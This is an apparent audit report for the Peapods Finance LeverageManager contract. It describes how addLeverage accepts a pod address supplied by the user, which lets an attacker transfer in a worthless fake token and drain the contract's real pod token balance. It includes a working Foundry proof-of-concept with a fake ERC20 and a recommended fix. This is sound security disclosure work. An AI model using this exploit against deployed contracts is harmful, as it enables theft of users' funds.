Rich Grey Crocodile

High

# User could specify their own fake pod in addLeverage and steal real pod tokens from the contract

## Vulnerability Details

In `addLeverage` these 2 lines uses the pod address specified by the user to transfer in tokens: https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L90-L91
```solidity
function addLeverage(
    uint256 _positionId,
    address _pod,
    uint256 _pTknAmt,
    uint256 _pairedLpDesired,
    uint256 _userProvidedDebtAmt,
    bool _hasSelfLendingPairPod,
    bytes memory _config
) external override workflow(true) {
@->  uint256 _pTknBalBefore = IERC20(_pod).balanceOf(address(this));
@->  IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _pTknAmt);
     _addLeveragePreCallback(
         _msgSender(),
         _positionId,
         _pod,
-->      IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore,
         _pairedLpDesired,
         _userProvidedDebtAmt,
         _hasSelfLendingPairPod,
         _config
     );
}
```
We can see that it allows the user to specify their pod address and transfer in from that pod address instead of using `positionProps[_positionId].pod`.

It will also treat the "amount" transferred in as `IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore` which is passed on to the other function: `_addLeveragePreCallback`.

However, in `_addLeveragePreCallback` onwards we can see that in this [line](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L291), `_pod` is set to `positionProps[_positionId].pod` and then it starts to use the address of `positionProps[_positionId].pod` afterwards.

## Impact and attack path
Hence, a malicious user could create their own worthless pod address token, specify it in `addLeverage`. Then the contract will pull in the tokens from the fake address, account it as the user has transferred in the intended pod token then carry out the leverage using the contract's pod balance.

Here's a poc for a clearer attack path:  
First go to LeverageManager.t.sol and add the following imports:
```solidity
import "forge-std/console.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract fakeToken is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {
        _mint(msg.sender, 100000e18);
    }
}
```
Then add:
```solidity
function test_addLeverage() public {
    uint256 pTknAmt = 100 * 1e18;
    uint256 pairedLpDesired = 50 * 1e18;
    bytes memory config = abi.encode(0, 1000, block.timestamp + 1 hours);

    deal(address(peas), address(this), pTknAmt * 100);
    peas.approve(address(pod), peas.totalSupply());
    pod.bond(address(peas), pTknAmt, 0);
    IERC20(pod).transfer(address(leverageManager), pTknAmt); //existing pod token balance of LeverageManager.sol

    vm.startPrank(ALICE);

    // wrap into the pod

    fakeToken fake = new fakeToken("bryh", "bruh");
    fake.approve(address(leverageManager), type(uint256).max);

    uint256 positionId = leverageManager.initializePosition(address(pod), ALICE, address(0), false);

    uint256 alicePodTokenBalanceBefore = pod.balanceOf(ALICE);
    uint256 aliceAssetBalanceBefore = IERC20(dai).balanceOf(ALICE);

    leverageManager.addLeverage(positionId, address(fake), pTknAmt, pairedLpDesired, 0, false, config);

    vm.stopPrank();

    // Verify the position NFT was minted
    assertEq(leverageManager.positionNFT().ownerOf(positionId), ALICE, "Position NFT not minted to ALICE");

    // Verify the state of the LeverageManager contract
    (address returnedPod, address lendingPair, address custodian, bool isSelfLending, bool hasSelfLendingPairPod) =
        leverageManager.positionProps(positionId);
    assertEq(returnedPod, address(pod), "Incorrect pod address");
    assertEq(lendingPair, address(mockFraxlendPair), "Incorrect lending pair address");
    assertNotEq(custodian, address(0), "Custodian address should not be zero");
    assertEq(isSelfLending, false, "Not self lending");
    assertEq(hasSelfLendingPairPod, false, "Self lending pod should be zero");
}
```
Note that the contract will have existing balances of token as it holds the receipt of those staking/LP positions. Hence, this attack can be carried out to steal the existing balance for your leverage, without transferring any real tokens in.

## Recommendation
If the position is already initialized, enforce that `_pod == positionProps[_positionId].pod`.

Basically in [line](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L291):
```diff
function _addLeveragePreCallback(
    address _sender,
    uint256 _positionId,
    address _pod,
    uint256 _pTknAmt,
    uint256 _pairedLpDesired,
    uint256 _userProvidedDebtAmt,
    bool _hasSelfLendingPairPod,
    bytes memory _config
) internal {
    if (_positionId == 0) {
        _positionId = _initializePosition(_pod, _sender, address(0), _hasSelfLendingPairPod);
    } else {
        ....
-       _pod = positionProps[_positionId].pod;
+       require(_pod == positionProps[_positionId].pod);
    }
    ....
}
```